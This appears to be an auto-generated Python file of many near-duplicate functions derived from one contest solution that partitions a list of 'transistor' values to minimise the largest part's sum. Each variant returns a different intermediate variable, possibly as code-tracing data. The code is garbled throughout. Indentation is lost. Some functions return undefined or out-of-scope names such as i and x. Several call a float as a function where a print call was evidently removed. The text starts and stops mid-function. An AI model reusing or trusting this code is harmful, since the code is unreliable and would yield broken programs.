if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_1f3e75fabecc4e988efff6ecec1684c0(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return i
def func_e77961c93d7b487ea604b849ed47a2b9(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_66c081e8d7b64e2fbaa56fb9443b4156(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return transistorsum
def func_cce0749682594f85a8ecb9903064edd8(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return transistors
def func_5953016e9f984774b4c530d24529d3d5(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_b1b64750ae68437486903edcec5e205e(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_167accf58c40442284e3a382085a8a82(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_2dab683c89974af0bcbf31c439275849(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_f11e30f20ccd4703b1f46890d3b5bad2(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_8b7476934cf5446d9a7865594ffaf28e(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_dcacc3e348ef4c6fb0a378c6d9797b66(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_10f88c8b4605459ab181dfd9a206062d(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_ea6faecd7db74656bc27981437b7e2e0(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_ece17c63372b407e8b48625bc1dd0cab(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return transistorsum
def func_3cfe2625bb174df980b4649bc9cccbc5(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_dd349c6a0d8f4c7a89bf5e2d20f94022(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_8063497b0f8b4be6b38897142f9bf7c1(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_ecbfb6b0ef554e2f867ca26b2544a669(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_3399878d1fa94c66a2ecfa11064ce91a(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_1405716d74f344cb94faef3554ffa269(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_4cd4b9ece3504678b5e7369e1113dbaa(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_1e9fa66ce59d4886964e8ae6f8ae9a01(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_c87c237fb91b436082d57bb97045acd1(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_48abfe1c5e064811a9bad423cdb14f05(transistors, transistorsum, N,
testcase):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_49374c5359e140a7abe2a9babca6521c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_3de1806fff744ecb9b38292d51cf0071(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_ecf77b76ff0f460fac40b28f78b3b8cc(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return N
def func_2dea108deba14d58b09a29bec0584740(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return q
def func_5e4b814e9edd4c2f92c001eea17a0ff7(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_9d81a316f92d4bc0b73714a152cfb619(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_b7a8210408c3450280146639b81360ea(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return p
def func_c097bbf385b1493cbc28d7d4b64079db(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_76a487249fa14ead952abbe0ffa55681(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return transistorsum
def func_cb6a1e2ea4fe4fd29a52f1a1b95cc09e(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return x
def func_26f2ecf0593242a6a6c8be94b27fda92(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return r
def func_bc2e938b7f5444568c6b97ae2fa5a6da(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return transistors
def func_0766b236354444dd8d2838390f29120d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_140b6bcb968c4f0bad671d1733282313(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return s
def func_06afd365d3d0456a860aac82bcfe5429(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_505de5f8d5904a50ae6b3de06b79a8b6(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return i
def func_8d9e2865a64c40528d3d2a29fcdc5af4(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_c203887a50e7487aa6107f6dd555252b(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_b9cdf189cdc64d32bd7df6a6f02bd231(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_1dbca95474be419392403b7d1f0997a1(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_3983636710444f88a09808601f21d6ec(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_70f12371a3884bf0b9629a4a3791a40b(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_51f4f6cc8d5a4186aa10a0bef3406bc9(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_552b906686a4455594551419c05440e5(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_14bcfe285b1d4aaeb944704be7ef5216(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return transistors
def func_4479bc58930848009429850853e907b6(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_1d1b5187edd5444dbc127023abbe4b3a(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return i
def func_b08f5108882746628d53b7e953a8ee79(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
